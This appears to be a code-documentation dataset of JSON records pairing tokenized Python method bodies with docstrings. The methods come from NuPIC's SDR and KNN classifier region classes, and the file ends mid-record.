{"signature": "def compute(self, inputs, outputs):", "body": "<EOL>self._computeFlag = True<EOL>patternNZ = inputs[\"<STR_LIT>\"].nonzero()[<NUM_LIT:0>]<EOL>if self.learningMode:<EOL><INDENT>categories = [category for category in inputs[\"<STR_LIT>\"]<EOL>if category >= <NUM_LIT:0>]<EOL>if len(categories) > <NUM_LIT:0>:<EOL><INDENT>bucketIdxList = []<EOL>actValueList = []<EOL>for category in categories:<EOL><INDENT>bucketIdxList.append(int(category))<EOL>if \"<STR_LIT>\" not in inputs:<EOL><INDENT>actValueList.append(int(category))<EOL><DEDENT>else:<EOL><INDENT>actValueList.append(float(inputs[\"<STR_LIT>\"]))<EOL><DEDENT><DEDENT>classificationIn = {\"<STR_LIT>\": bucketIdxList,<EOL>\"<STR_LIT>\": actValueList}<EOL><DEDENT>else:<EOL><INDENT>if \"<STR_LIT>\" not in inputs:<EOL><INDENT>raise KeyError(\"<STR_LIT>\")<EOL><DEDENT>if \"<STR_LIT>\" not in inputs:<EOL><INDENT>raise KeyError(\"<STR_LIT>\")<EOL><DEDENT>classificationIn = {\"<STR_LIT>\": int(inputs[\"<STR_LIT>\"]),<EOL>\"<STR_LIT>\": float(inputs[\"<STR_LIT>\"])}<EOL><DEDENT><DEDENT>else:<EOL><INDENT>classificationIn = {\"<STR_LIT>\": <NUM_LIT:0>, \"<STR_LIT>\": <NUM_LIT:0>}<EOL><DEDENT>clResults = self._sdrClassifier.compute(recordNum=self.recordNum,<EOL>patternNZ=patternNZ,<EOL>classification=classificationIn,<EOL>learn=self.learningMode,<EOL>infer=self.inferenceMode)<EOL>if clResults is not None and len(clResults) > <NUM_LIT:0>:<EOL><INDENT>outputs['<STR_LIT>'][:len(clResults[\"<STR_LIT>\"])] =clResults[\"<STR_LIT>\"]<EOL>for step in self.stepsList:<EOL><INDENT>stepIndex = self.stepsList.index(step)<EOL>categoryOut = clResults[\"<STR_LIT>\"][clResults[step].argmax()]<EOL>outputs['<STR_LIT>'][stepIndex] = categoryOut<EOL>stepProbabilities = clResults[step]<EOL>for categoryIndex in xrange(self.maxCategoryCount):<EOL><INDENT>flatIndex = categoryIndex + stepIndex * self.maxCategoryCount<EOL>if categoryIndex < len(stepProbabilities):<EOL><INDENT>outputs['<STR_LIT>'][flatIndex] =stepProbabilities[categoryIndex]<EOL><DEDENT>else:<EOL><INDENT>outputs['<STR_LIT>'][flatIndex] = <NUM_LIT:0.0><EOL><DEDENT><DEDENT><DEDENT><DEDENT>self.recordNum += <NUM_LIT:1><EOL>", "docstring": "Process one input sample.\nThis method is called by the runtime engine.\n\n:param inputs: (dict) mapping region input names to numpy.array values\n:param outputs: (dict) mapping region output names to numpy.arrays that \n       should be populated with output values by this method", "id": "f17619:c0:m9"}
{"signature": "def customCompute(self, recordNum, patternNZ, classification):", "body": "<EOL>if not hasattr(self, \"<STR_LIT>\"):<EOL><INDENT>self._computeFlag = False<EOL><DEDENT>if self._computeFlag:<EOL><INDENT>warnings.simplefilter('<STR_LIT:error>', DeprecationWarning)<EOL>warnings.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>DeprecationWarning)<EOL><DEDENT>return self._sdrClassifier.compute(recordNum,<EOL>patternNZ,<EOL>classification,<EOL>self.learningMode,<EOL>self.inferenceMode)<EOL>", "docstring": "Just return the inference value from one input sample. The actual\nlearning happens in compute() -- if, and only if learning is enabled --\nwhich is called when you run the network.\n\n.. warning:: This method is deprecated and exists only to maintain backward \n   compatibility. This method is deprecated, and will be removed. Use \n   :meth:`nupic.engine.Network.run` instead, which will call \n   :meth:`~nupic.regions.sdr_classifier_region.compute`.\n\n:param recordNum: (int) Record number of the input sample.\n:param patternNZ: (list) of the active indices from the output below\n:param classification: (dict) of the classification information:\n\n       * ``bucketIdx``: index of the encoder bucket\n       * ``actValue``:  actual value going into the encoder\n\n:returns: (dict) containing inference results, one entry for each step in\n          ``self.steps``. The key is the number of steps, the value is an\n          array containing the relative likelihood for each ``bucketIdx``\n          starting from 0.\n\n          For example:\n\n          :: \n\n            {'actualValues': [0.0, 1.0, 2.0, 3.0]\n              1 : [0.1, 0.3, 0.2, 0.7]\n              4 : [0.2, 0.4, 0.3, 0.5]}", "id": "f17619:c0:m10"}
{"signature": "def getOutputElementCount(self, outputName):", "body": "if outputName == \"<STR_LIT>\":<EOL><INDENT>return len(self.stepsList)<EOL><DEDENT>elif outputName == \"<STR_LIT>\":<EOL><INDENT>return len(self.stepsList) * self.maxCategoryCount<EOL><DEDENT>elif outputName == \"<STR_LIT>\":<EOL><INDENT>return self.maxCategoryCount<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(outputName))<EOL><DEDENT>", "docstring": "Overrides :meth:`nupic.bindings.regions.PyRegion.PyRegion.getOutputElementCount`.", "id": "f17619:c0:m11"}
{"signature": "@classmethod<EOL><INDENT>def getSpec(cls):<DEDENT>", "body": "ns = dict(<EOL>description=KNNClassifierRegion.__doc__,<EOL>singleNodeOnly=True,<EOL>inputs=dict(<EOL>categoryIn=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>required=True,<EOL>regionLevel=True,<EOL>isDefaultInput=False,<EOL>requireSplitterMap=False),<EOL>bottomUpIn=dict(<EOL>description='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>required=True,<EOL>regionLevel=False,<EOL>isDefaultInput=True,<EOL>requireSplitterMap=False),<EOL>partitionIn=dict(<EOL>description='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>required=True,<EOL>regionLevel=True,<EOL>isDefaultInput=False,<EOL>requireSplitterMap=False),<EOL>auxDataIn=dict(<EOL>description='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>required=False,<EOL>regionLevel=True,<EOL>isDefaultInput=False,<EOL>requireSplitterMap=False)<EOL>),<EOL>outputs=dict(<EOL>categoriesOut=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>regionLevel=True,<EOL>isDefaultOutput=True),<EOL>bestPrototypeIndices=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>regionLevel=True,<EOL>isDefaultOutput=False),<EOL>categoryProbabilitiesOut=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>regionLevel=True,<EOL>isDefaultOutput=True),<EOL>),<EOL>parameters=dict(<EOL>learningMode=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT:bool>',<EOL>defaultValue=<NUM_LIT:1>,<EOL>accessMode='<STR_LIT>'),<EOL>inferenceMode=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT:bool>',<EOL>defaultValue=<NUM_LIT:0>,<EOL>accessMode='<STR_LIT>'),<EOL>acceptanceProbability=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=<NUM_LIT:1.0>,<EOL>accessMode='<STR_LIT>'), <EOL>confusion=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:2>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=None,<EOL>accessMode='<STR_LIT>'),<EOL>activeOutputCount=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=<NUM_LIT:0>,<EOL>accessMode='<STR_LIT>'),<EOL>categoryCount=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=None,<EOL>accessMode='<STR_LIT>'),<EOL>patternCount=dict(<EOL>description='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=None,<EOL>accessMode='<STR_LIT>'),<EOL>patternMatrix=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=None,<EOL>accessMode='<STR_LIT>'),<EOL>k=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=<NUM_LIT:1>,<EOL>accessMode='<STR_LIT>'),<EOL>maxCategoryCount=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=<NUM_LIT:2>,<EOL>accessMode='<STR_LIT>'),<EOL>distanceNorm=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=<NUM_LIT>,<EOL>accessMode='<STR_LIT>'),<EOL>distanceMethod=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType=\"<STR_LIT>\",<EOL>count=<NUM_LIT:0>,<EOL>constraints='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>defaultValue='<STR_LIT>',<EOL>accessMode='<STR_LIT>'),<EOL>outputProbabilitiesByDist=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT:bool>',<EOL>defaultValue=<NUM_LIT:0>,<EOL>accessMode='<STR_LIT>'),<EOL>distThreshold=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=<NUM_LIT:0.0>,<EOL>accessMode='<STR_LIT>'),<EOL>inputThresh=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=<NUM_LIT:0.5>,<EOL>accessMode='<STR_LIT>'),<EOL>doBinarization=dict(<EOL>description='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT:bool>',<EOL>defaultValue=<NUM_LIT:0>,<EOL>accessMode='<STR_LIT>'),<EOL>useSparseMemory=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=<NUM_LIT:1>,<EOL>accessMode='<STR_LIT>'),<EOL>minSparsity=dict(<EOL>description=\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=<NUM_LIT:0.0>,<EOL>accessMode='<STR_LIT>'),<EOL>sparseThreshold=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=<NUM_LIT:0.0>,<EOL>accessMode='<STR_LIT>'),<EOL>relativeThreshold=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT:bool>',<EOL>defaultValue=<NUM_LIT:0>,<EOL>accessMode='<STR_LIT>'),<EOL>winnerCount=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=<NUM_LIT:0>,<EOL>accessMode='<STR_LIT>'),<EOL>doSphering=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT:bool>',<EOL>defaultValue=<NUM_LIT:0>,<EOL>accessMode='<STR_LIT>'),<EOL>SVDSampleCount=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=<NUM_LIT:0>,<EOL>accessMode='<STR_LIT>'),<EOL>SVDDimCount=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=-<NUM_LIT:1>,<EOL>accessMode='<STR_LIT>'),<EOL>fractionOfMax=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=<NUM_LIT:0>,<EOL>accessMode='<STR_LIT>'),<EOL>useAuxiliary=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT:bool>',<EOL>defaultValue=<NUM_LIT:0>,<EOL>accessMode='<STR_LIT>'),<EOL>justUseAuxiliary=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT:bool>',<EOL>defaultValue=<NUM_LIT:0>,<EOL>accessMode='<STR_LIT>'),<EOL>verbosity=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=<NUM_LIT:0> ,<EOL>accessMode='<STR_LIT>'),<EOL>keepAllDistances=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT:bool>',<EOL>defaultValue=None,<EOL>accessMode='<STR_LIT>'),<EOL>replaceDuplicates=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT:bool>',<EOL>defaultValue=None,<EOL>accessMode='<STR_LIT>'),<EOL>cellsPerCol=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=<NUM_LIT:0>,<EOL>accessMode='<STR_LIT>'),<EOL>maxStoredPatterns=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=-<NUM_LIT:1>,<EOL>accessMode='<STR_LIT>'),<EOL>),<EOL>commands=dict()<EOL>)<EOL>return ns<EOL>", "docstring": "Overrides :meth:`nupic.bindings.regions.PyRegion.PyRegion.getSpec`.", "id": "f17620:c0:m0"}
{"signature": "def _getEphemeralAttributes(self):", "body": "return ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>']<EOL>", "docstring": "List of attributes to not save with serialized state.", "id": "f17620:c0:m2"}
{"signature": "def _initEphemerals(self):", "body": "self._firstComputeCall = True<EOL>self._accuracy = None<EOL>self._protoScores = None<EOL>self._categoryDistances = None<EOL>self._knn = knn_classifier.KNNClassifier(**self.knnParams)<EOL>for x in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>if not hasattr(self, x):<EOL><INDENT>setattr(self, x, None)<EOL><DEDENT><DEDENT>", "docstring": "Initialize attributes that are not saved with the checkpoint.", "id": "f17620:c0:m3"}
{"signature": "def __setstate__(self, state):", "body": "if '<STR_LIT:version>' not in state:<EOL><INDENT>self.__dict__.update(state)<EOL><DEDENT>elif state['<STR_LIT:version>'] == <NUM_LIT:1>:<EOL><INDENT>if \"<STR_LIT>\" in state:<EOL><INDENT>state.pop(\"<STR_LIT>\")<EOL><DEDENT>knnState = state['<STR_LIT>']<EOL>del state['<STR_LIT>']<EOL>self.__dict__.update(state)<EOL>self._initEphemerals()<EOL>self._knn.__setstate__(knnState)<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>self.version = KNNClassifierRegion.__VERSION__<EOL>", "docstring": "Set state from serialized state.", "id": "f17620:c0:m4"}
{"signature": "def __getstate__(self):", "body": "state = self.__dict__.copy()<EOL>state['<STR_LIT>'] = self._knn.__getstate__()<EOL>del state['<STR_LIT>']<EOL>for field in self._getEphemeralAttributes():<EOL><INDENT>del state[field]<EOL><DEDENT>return state<EOL>", "docstring": "Get serializable state.", "id": "f17620:c0:m5"}
{"signature": "def getAlgorithmInstance(self):", "body": "return self._knn<EOL>", "docstring": ":returns: (:class:`~nupic.algorithms.knn_classifier.KNNClassifier`)", "id": "f17620:c0:m12"}
{"signature": "def getParameter(self, name, index=-<NUM_LIT:1>):", "body": "if name == \"<STR_LIT>\":<EOL><INDENT>return self._knn._numPatterns<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self._getPatternMatrix()<EOL><DEDENT>elif name == \"<STR_LIT:k>\":<EOL><INDENT>return self._knn.k<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self._knn.distanceNorm<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self._knn.distanceMethod<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self._knn.distThreshold<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self._knn.binarizationThreshold<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self._knn.doBinarization<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self._knn.useSparseMemory<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self._knn.sparseThreshold<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self._knn.numWinners<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self._knn.relativeThreshold<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>v = self._knn.numSVDSamples<EOL>return v if v is not None else <NUM_LIT:0><EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>v = self._knn.numSVDDims<EOL>return v if v is not None else <NUM_LIT:0><EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>v = self._knn.fractionOfMax<EOL>return v if v is not None else <NUM_LIT:0><EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self._useAuxiliary<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self._justUseAuxiliary<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self._doSphering<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self._knn.cellsPerCol<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self.maxStoredPatterns<EOL><DEDENT>elif name == '<STR_LIT>':<EOL><INDENT>return self._knn._categoryRecencyList<EOL><DEDENT>else:<EOL><INDENT>return PyRegion.getParameter(self, name, index)<EOL><DEDENT>", "docstring": "Overrides :meth:`nupic.bindings.regions.PyRegion.PyRegion.getParameter`.", "id": "f17620:c0:m13"}
{"signature": "def setParameter(self, name, index, value):", "body": "if name == \"<STR_LIT>\":<EOL><INDENT>self.learningMode = bool(int(value))<EOL>self._epoch = <NUM_LIT:0><EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>self._epoch = <NUM_LIT:0><EOL>if int(value) and not self.inferenceMode:<EOL><INDENT>self._finishLearning()<EOL><DEDENT>self.inferenceMode = bool(int(value))<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>self._knn.distanceNorm = value<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>self._knn.distanceMethod = value<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>self.keepAllDistances = bool(value)<EOL>if not self.keepAllDistances:<EOL><INDENT>if self._protoScores is not None and self._protoScores.shape[<NUM_LIT:0>] > <NUM_LIT:1>:<EOL><INDENT>self._protoScores = self._protoScores[-<NUM_LIT:1>,:]<EOL><DEDENT>if self._protoScores is not None:<EOL><INDENT>self._protoScoreCount = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>self._protoScoreCount = <NUM_LIT:0><EOL><DEDENT><DEDENT><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>self.verbosity = value<EOL>self._knn.verbosity = value<EOL><DEDENT>else:<EOL><INDENT>return PyRegion.setParameter(self, name, index, value)<EOL><DEDENT>", "docstring": "Overrides :meth:`nupic.bindings.regions.PyRegion.PyRegion.setParameter`.", "id": "f17620:c0:m14"}
{"signature": "def reset(self):", "body": "self.confusion = numpy.zeros((<NUM_LIT:1>, <NUM_LIT:1>))<EOL>", "docstring": "Resets confusion matrix.", "id": "f17620:c0:m15"}
{"signature": "def enableTap(self, tapPath):", "body": "self._tapFileIn = open(tapPath + '<STR_LIT>', '<STR_LIT:w>')<EOL>self._tapFileOut = open(tapPath + '<STR_LIT>', '<STR_LIT:w>')<EOL>", "docstring": "Begin writing output tap files.\n\n:param tapPath: (string) base name of the output tap files to write.", "id": "f17620:c0:m17"}
{"signature": "def disableTap(self):", "body": "if self._tapFileIn is not None:<EOL><INDENT>self._tapFileIn.close()<EOL>self._tapFileIn = None<EOL><DEDENT>if self._tapFileOut is not None:<EOL><INDENT>self._tapFileOut.close()<EOL>self._tapFileOut = None<EOL><DEDENT>", "docstring": "Disable writing of output tap files.", "id": "f17620:c0:m18"}
{"signature": "def handleLogInput(self, inputs):", "body": "if self._tapFileIn is not None:<EOL><INDENT>for input in inputs:<EOL><INDENT>for k in range(len(input)):<EOL><INDENT>print(input[k], end='<STR_LIT:U+0020>', file=self._tapFileIn)<EOL><DEDENT>print(file=self._tapFileIn)<EOL><DEDENT><DEDENT>", "docstring": "Write inputs to output tap file.\n\n:param inputs: (iter) some inputs.", "id": "f17620:c0:m19"}
{"signature": "def handleLogOutput(self, output):", "body": "<EOL>if self._tapFileOut is not None:<EOL><INDENT>for k in range(len(output)):<EOL><INDENT>print(output[k], end='<STR_LIT:U+0020>', file=self._tapFileOut)<EOL><DEDENT>print(file=self._tapFileOut)<EOL><DEDENT>", "docstring": "Write outputs to output tap file.\n\n:param outputs: (iter) some outputs.", "id": "f17620:c0:m20"}
{"signature": "def _storeSample(self, inputVector, trueCatIndex, partition=<NUM_LIT:0>):", "body": "<EOL>if self._samples is None:<EOL><INDENT>self._samples = numpy.zeros((<NUM_LIT:0>, len(inputVector)), dtype=RealNumpyDType)<EOL>assert self._labels is None<EOL>self._labels = []<EOL><DEDENT>self._samples = numpy.concatenate((self._samples, numpy.atleast_2d(inputVector)), axis=<NUM_LIT:0>)<EOL>self._labels += [trueCatIndex]<EOL>if self._partitions is None:<EOL><INDENT>self._partitions = []<EOL><DEDENT>if partition is None:<EOL><INDENT>partition = <NUM_LIT:0><EOL><DEDENT>self._partitions += [partition]<EOL>", "docstring": "Store a training sample and associated category label", "id": "f17620:c0:m21"}
{"signature": "def compute(self, inputs, outputs):", "body": "<EOL>if self._useAuxiliary is None:<EOL><INDENT>self._useAuxiliary = False<EOL><DEDENT>if self._firstComputeCall:<EOL><INDENT>self._firstComputeCall = False<EOL>if self._useAuxiliary:<EOL><INDENT>if self._justUseAuxiliary == True:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>inputVector = inputs['<STR_LIT>']<EOL>if self._useAuxiliary==True:<EOL><INDENT>auxVector = inputs['<STR_LIT>']<EOL>if auxVector.dtype != numpy.float32:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>if self._justUseAuxiliary == True:<EOL><INDENT>inputVector = inputs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>inputVector = numpy.concatenate([inputVector, inputs['<STR_LIT>']])<EOL><DEDENT><DEDENT>self.handleLogInput([inputVector])<EOL>assert \"<STR_LIT>\" in inputs, \"<STR_LIT>\"<EOL>categories = inputs['<STR_LIT>']<EOL>if \"<STR_LIT>\" in inputs:<EOL><INDENT>assert len(inputs[\"<STR_LIT>\"]) == <NUM_LIT:1>, \"<STR_LIT>\"<EOL>partInput = inputs['<STR_LIT>']<EOL>assert len(partInput) == <NUM_LIT:1>, \"<STR_LIT>\"<EOL>partition = int(partInput[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>partition = None<EOL><DEDENT>if self.inferenceMode:<EOL><INDENT>categoriesOut = outputs['<STR_LIT>']<EOL>probabilitiesOut = outputs['<STR_LIT>']<EOL>if self._doSphering:<EOL><INDENT>inputVector = (inputVector + self._normOffset) * self._normScale<EOL><DEDENT>nPrototypes = <NUM_LIT:0><EOL>if \"<STR_LIT>\" in outputs:<EOL><INDENT>bestPrototypeIndicesOut = outputs[\"<STR_LIT>\"]<EOL>nPrototypes = len(bestPrototypeIndicesOut)<EOL><DEDENT>winner, inference, protoScores, categoryDistances =self._knn.infer(inputVector, partitionId=partition)<EOL>if not self.keepAllDistances:<EOL><INDENT>self._protoScores = protoScores<EOL><DEDENT>else:<EOL><INDENT>if self._protoScores is None:<EOL><INDENT>self._protoScores = numpy.zeros((<NUM_LIT:1>, protoScores.shape[<NUM_LIT:0>]),<EOL>protoScores.dtype)<EOL>self._protoScores[<NUM_LIT:0>,:] = protoScores<EOL>self._protoScoreCount = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>if self._protoScoreCount == self._protoScores.shape[<NUM_LIT:0>]:<EOL><INDENT>newProtoScores = numpy.zeros((self._protoScores.shape[<NUM_LIT:0>] * <NUM_LIT:2>,<EOL>self._protoScores.shape[<NUM_LIT:1>]),<EOL>self._protoScores.dtype)<EOL>newProtoScores[:self._protoScores.shape[<NUM_LIT:0>],:] = self._protoScores<EOL>self._protoScores = newProtoScores<EOL><DEDENT>self._protoScores[self._protoScoreCount,:] = protoScores<EOL>self._protoScoreCount += <NUM_LIT:1><EOL><DEDENT><DEDENT>self._categoryDistances = categoryDistances<EOL>if self.outputProbabilitiesByDist:<EOL><INDENT>scores = <NUM_LIT:1.0> - self._categoryDistances<EOL><DEDENT>else:<EOL><INDENT>scores = inference<EOL><DEDENT>total = scores.sum()<EOL>if total == <NUM_LIT:0>:<EOL><INDENT>numScores = len(scores)<EOL>probabilities = numpy.ones(numScores) / numScores<EOL><DEDENT>else:<EOL><INDENT>probabilities = scores / total<EOL><DEDENT>nout = min(len(categoriesOut), len(inference))<EOL>categoriesOut.fill(<NUM_LIT:0>)<EOL>categoriesOut[<NUM_LIT:0>:nout] = inference[<NUM_LIT:0>:nout]<EOL>probabilitiesOut.fill(<NUM_LIT:0>)<EOL>probabilitiesOut[<NUM_LIT:0>:nout] = probabilities[<NUM_LIT:0>:nout]<EOL>if self.verbosity >= <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\", categoriesOut[<NUM_LIT:0>:nout])<EOL>print(\"<STR_LIT>\", probabilitiesOut[<NUM_LIT:0>:nout])<EOL><DEDENT>if self._scanInfo is not None:<EOL><INDENT>self._scanResults = 